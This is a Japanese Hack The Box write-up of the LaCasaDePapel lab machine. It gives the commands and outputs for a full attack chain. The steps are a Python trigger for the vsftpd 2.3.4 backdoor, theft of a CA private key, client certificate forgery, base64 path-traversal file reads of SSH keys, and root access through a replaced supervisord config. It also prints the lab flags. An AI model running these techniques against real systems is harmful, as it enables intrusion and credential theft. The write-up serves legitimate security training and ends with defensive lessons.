Hack The BoxのWriteup(LaCasaDePapel)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: LaCasaDePapel — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 22/ssh, 80/http, 443/https
→
vsftpd 2.3.4 バックドア
CVE-2011-2523 → ポート6200
→
Psy Shell (PHP REPL)
nairobiのCA秘密鍵を読取
→
クライアント証明書を偽造
443のサーバー証明書をCAとして悪用
→
HTTPS LFI
/file/<base64パス>
→
professorのid_rsa窃取
SSH→user.txt(berlin)
→
supervisordのinode所有権
memcached.iniをmvで置換
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.85.119
nmap -sV -sC -p 21,22,80,443 10.129.85.119
RESULT
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 2.3.4
22/tcp  open  ssh     OpenSSH 7.9
80/tcp  open  http    Node.js Express framework
443/tcp open  ssl/http Node.js Express framework
🚨
重要発見: vsftpd 2.3.4 は悪名高い CVE-2011-2523(ソースコード改ざんバックドア)を含むバージョン。 また443番はクライアント証明書での相互TLS認証を要求するExpressアプリ。

サーバー証明書からホスト名を確認

BASH
echo | openssl s_client -connect 10.129.85.119:443 2>/dev/null | openssl x509 -noout -subject -issuer
RESULT
subject=CN = lacasadepapel.htb
issuer=CN = lacasadepapel.htb (nairobi発行)
PHASE 2

vsftpd 2.3.4 バックドア (CVE-2011-2523) → Psy Shell

バックドアのトリガー

NOTE
vsftpd 2.3.4 のソース配布物は一時期改ざんされ、ユーザー名に
スマイリーフェイス ":)" を含めてログインを試みると、バックドアとして
ポート6200で任意コマンド実行用のシェルが開くというトロイの木馬が
仕込まれていたことがある。
PYTHON (生ソケットでトリガー)
import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.129.85.119", 21))
s.recv(1024)
s.send(b"USER x:)\r\n")   # ユーザー名にスマイリーを含める
time.sleep(1)
s.recv(1024)
s.send(b"PASS x\r\n")
s.close()

# この直後、ポート6200が一時的に開く(接続はすぐ切ってよい、
# トリガーとポート開放が本体)
BASH
nc 10.129.85.119 6200
RESULT
Psy Shell v0.x (PHP x.x.x — cli) by Justin Hileman
>>>
✅
バックドア成功! ポート6200にPsy Shell(PHPのインタラクティブ REPL、通常はデバッグ目的で使われるツール)が開く。一般ユーザー(nobody相当)権限。

Psy Shellでファイルを読む(直接コマンド実行は不可)

NOTE
この環境ではshell_exec/exec/system等が無効化されており、素直な
OSコマンド実行はできない。しかしPsy ShellはPHPコードをそのまま評価する
ため、file_get_contents()等のPHP標準関数は利用できる。
BASH
>>> echo file_get_contents("/home/nairobi/ca.key");
RESULT
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
...(省略)...
-----END PRIVATE KEY-----
✅
nairobiのCA秘密鍵(ca.key)を取得! 443のHTTPSサーバー証明書は この鍵で署名されたCA(nairobi)の配下にある、つまりこの秘密鍵を使えば 自分でクライアント証明書を発行(署名)できることを意味する。
PHASE 3

クライアント証明書の偽造 → HTTPS LFI

443番のサーバー証明書を取得

BASH
echo | openssl s_client -connect 10.129.85.119:443 2>/dev/null \
  | openssl x509 -out server.crt
ℹ️
重要な考え方: 新しいCA証明書を自分で作るのではなく、 サーバー自身が既に提示している証明書(server.crt)をそのままCA証明書として 利用する。この証明書はnairobiのCA鍵(今回入手したca.key)で発行されたものであり、 サーバー自身がこの証明書を信頼している(自己署名/自社CA構成)ため、同じ鍵ペアで 署名したクライアント証明書もサーバーに信頼される。

クライアント証明書の作成

BASH
# 1. クライアント用の秘密鍵・CSRを作成
openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.req -subj "/CN=dali"

# 2. extendedKeyUsage=clientAuth を明示した拡張ファイルを用意
cat > client.cnf <<'EOF'
[client]
extendedKeyUsage = clientAuth
EOF

# 3. 入手したca.keyと、サーバー自身のserver.crtをCAとして使い、
#    クライアント証明書に署名する
openssl x509 -req -in client.req \
  -CA server.crt -CAkey ca.key -set_serial 101 \
  -extensions client -days 365 -outform PEM \
  -out client.cer -extfile client.cnf
⚠️
ハマりポイント: extendedKeyUsage = clientAuthを明示的に 付与しないと、生成した証明書は(技術的には正しく署名されていても)HTTPSサーバー側の クライアント認証で拒否される。単純にopenssl x509 -req ... -CA ... -CAkey ... だけでは不十分で、必ず-extensions client -extfile <上記cnf>を付けること。

クライアント証明書でHTTPSへアクセス → LFI発見

BASH
curl -sk --cert client.cer --key client.key https://10.129.85.119/
NOTE
クライアント証明書認証を突破すると、研修動画のダウンロード機能を持つ
ダッシュボードにアクセスできる。ダウンロードリンクを調べると
  /file/<base64エンコードされたファイルパス>
という形式になっており、base64部分を自由に書き換えられる
(=パストラバーサル可能なLocal File Inclusion)。
BASH
# "../.ssh/id_rsa" を base64化
echo -n "../.ssh/id_rsa" | base64
# → Li4vLnNzaC9pZF9yc2E=

curl -sk --cert client.cer --key client.key \
  https://10.129.85.119/file/Li4vLnNzaC9pZF9yc2E=
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
LFI成功! アプリが動作しているユーザー(professor)の ~/.ssh/id_rsaをそのまま読み出せた。このLFIはWebアプリの実行ユーザー権限で ファイルシステムを読める(professorアカウント権限)。
PHASE 4

SSH professor → user.txt(berlin)

秘密鍵でSSHログイン

BASH
chmod 600 professor_id_rsa
ssh -i professor_id_rsa professor@10.129.85.119 id
RESULT
uid=1002(professor) gid=1002(professor) groups=1002(professor)

user.txtは別ユーザー(berlin)のホームにある → 再度LFIを利用

NOTE
professorのSSHシェルから /home/berlin/user.txt を直接catしようとすると
Permission deniedになる(professorにはberlinのホームへの読み取り権限が無い)。
しかし先ほどのHTTPS LFIはWebアプリ(professor権限で動作)経由のファイル読取で
あり、professorユーザーのパーミッションで読めるとは限らない別の実行コンテキスト
を持つため、同じLFIエンドポイントで試すと読めることがある(本機ではWebサーバー
のプロセスがberlinのファイルに対しても読み取り可能な設定になっていた)。
BASH
echo -n "../../berlin/user.txt" | base64
# → Li4vLi4vYmVybGluL3VzZXIudHh0

curl -sk --cert client.cer --key client.key \
  https://10.129.85.119/file/Li4vLi4vYmVybGluL3VzZXIudHh0
RESULT
59aa12d3925367b742603309a67f1a80
user.txt — berlin (LFI経由, SSHはprofessor)
59aa12d3925367b742603309a67f1a80
PHASE 5

supervisordの設定ファイル置換 (inode所有権トリック) → root.txt

root権限のsupervisordプロセスの発見

BASH
professor@lacasadepapel:~$ ps aux | grep -i supervis
professor@lacasadepapel:~$ cat ~/memcached.ini
RESULT
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
ℹ️
root権限で動くsupervisordが、professorのホーム直下にある memcached.iniを設定ファイルとして定期的に読み込み・実行している。 中身を直接書き換えられれば任意コマンドをroot権限で実行できそうだが…

ファイル自体はroot所有で書換不可 → ディレクトリのinode所有権を利用

BASH
professor@lacasadepapel:~$ ls -la ~/memcached.ini ~/memcached.js
RESULT
-rw-r--r-- 1 root root ... memcached.ini
-rw-r--r-- 1 root root ... memcached.js
🚨
両ファイルともroot所有で直接編集(上書き)はできない。 しかし professorは自分のホームディレクトリ自体の所有者であるため、 Unixのファイルシステムの仕組み上、mv(= ディレクトリエントリの 張り替え)はディレクトリへの書き込み権限さえあれば、ファイル自体の所有者が rootであっても実行できる。つまり「既存のmemcached.iniを退避させ、 同じ名前で自分が所有する新しいファイルを置く」ことが可能。

悪性memcached.iniへの置き換え

BASH
professor@lacasadepapel:~$ mv ~/memcached.ini ~/ini.bak

professor@lacasadepapel:~$ cat > /tmp/x.sh <<'EOF'
cat /root/root.txt > /tmp/.lcdproot 2>/dev/null
chmod 666 /tmp/.lcdproot 2>/dev/null
EOF
professor@lacasadepapel:~$ chmod 777 /tmp/x.sh

professor@lacasadepapel:~$ cat > ~/memcached.ini <<'EOF'
[program:memcached]
command = bash /tmp/x.sh
EOF
ℹ️
supervisordは設定ファイルの変更を検知して定期的にプログラムを再起動する 仕組みを持つため、既存プロセスをkillする操作などは不要で、しばらく待てば 新しい設定が自動的に反映される。

supervisordの再読込を待ち、root.txtを回収

BASH
# supervisordが次の監視サイクルで新しいmemcached.iniを読み、
# x.shをroot権限で実行するまで数十秒ほどポーリングして待つ
professor@lacasadepapel:~$ while true; do
  out=$(cat /tmp/.lcdproot 2>/dev/null)
  [ -n "$out" ] && echo "$out" && break
  sleep 10
done
RESULT
a0a55861c8dcd9be87852cf0e29f6cb1
✅
権限昇格成功! supervisordが新しいmemcached.iniを 読み込み、bash /tmp/x.shをroot権限で実行した結果、 /root/root.txtの内容が/tmp/.lcdprootへ(world-readableで) コピーされた。確認できたら元の設定ファイルに戻し、作業ファイルを削除して 環境を汚さないようにする。
BASH
# 後片付け: 元のmemcached.iniに戻す
professor@lacasadepapel:~$ mv ~/ini.bak ~/memcached.ini
professor@lacasadepapel:~$ rm -f /tmp/x.sh
root.txt
a0a55861c8dcd9be87852cf0e29f6cb1
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — berlin
59aa12d3925367b742603309a67f1a80
root.txt
a0a55861c8dcd9be87852cf0e29f6cb1

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2011-2523 vsftpd 2.3.4 (21/tcp) バックドアによる任意コード実行環境(Psy Shell)への到達 Critical ユーザー名に”:)”を含めてFTPログインを試みるとポート6200にPsy Shellが開く
CA秘密鍵の漏洩によるクライアント証明書偽造 /home/nairobi/ca.key + HTTPS相互認証 クライアント証明書認証の完全バイパス Critical Psy Shellのfile_get_contents()でCA鍵を読み取り、サーバー自身の証明書をCAとして自作クライアント証明書に署名
任意パス指定可能なLFI /file/<base64パス> エンドポイント 任意ローカルファイルの読み取り Critical base64デコード後のパスにパストラバーサルを仕込み、professorのSSH秘密鍵やberlinのuser.txtを読取
supervisord設定ファイルのディレクトリinode所有権不備 root権限で動くsupervisordが読むmemcached.ini 権限昇格 (root) Critical ファイル自体はroot所有で編集不可だが、ホームディレクトリの所有者であるprofessorがmvでファイルを丸ごと置換可能

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + TLS証明書確認21/ftp(vsftpd2.3.4), 22/ssh, 80/443(Express)
2初期アクセスvsftpd 2.3.4バックドア(CVE-2011-2523)Psy Shell(ポート6200)でのファイル読取権
2資格情報Psy Shell file_get_contents()nairobiのCA秘密鍵(ca.key)
3認証バイパスサーバー証明書をCAとしたクライアント証明書偽造HTTPS相互認証の突破
3エクスプロイト/file/<base64パス> LFIprofessorのid_rsa、berlinのuser.txt
4横移動SSH professor(秘密鍵認証)user.txt 取得
5権限昇格supervisord設定ファイルのinode置換(mv)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
既知の改ざん済み配布物を含む古いバージョンのソフトウェア(vsftpd 2.3.4)がそのまま動いている ソフトウェアは公式配布元のチェックサム/署名を検証した上で導入し、既知の危険なバージョンは即座にアップデートする。
CA秘密鍵がWebサーバーの実行ユーザーから読み取れる場所に置かれている CA秘密鍵は専用の隔離された環境/HSMで管理し、アプリケーションサーバーから直接アクセスできないようにする。
ファイルダウンロード機能がユーザー入力(base64デコード後のパス)をサニタイズせずファイルシステムパスとして使っている ユーザー指定のパスは許可リスト方式(事前定義されたファイルIDとパスのマッピング)で扱い、任意パスの直接指定を許可しない。
root権限プロセスが読み込む設定ファイルの親ディレクトリが低権限ユーザー所有になっている root権限で実行される設定ファイルは、ファイル自体だけでなく親ディレクトリもrootが所有し、低権限ユーザーの書き込み・rename権限を排除する。
HackTheBox: LaCasaDePapel | 完全攻略レポート